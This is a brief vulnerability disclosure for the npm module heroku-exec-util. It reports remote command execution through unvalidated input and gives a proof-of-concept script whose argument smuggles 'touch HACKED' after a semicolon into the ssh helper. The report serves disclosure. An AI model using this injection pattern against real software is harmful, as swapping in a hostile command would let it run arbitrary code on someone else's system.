Description

The heroku-exec-util module is vulnerable against RCE since a command is crafted using user inputs not validated and then executed, leading to arbitrary command injection

POC

1. Create the following PoC file:

// poc.js
var heu = require('heroku-exec-util');
heu.ssh({args:{}},'test; touch HACKED; #','','test',{path:'test'})

2. Check there aren't files called HACKED
3. Execute the following commands in another terminal:

npm i heroku-exec-util # Install affected module
node poc.js #  Run the PoC

4. Recheck the files: now HACKED has been created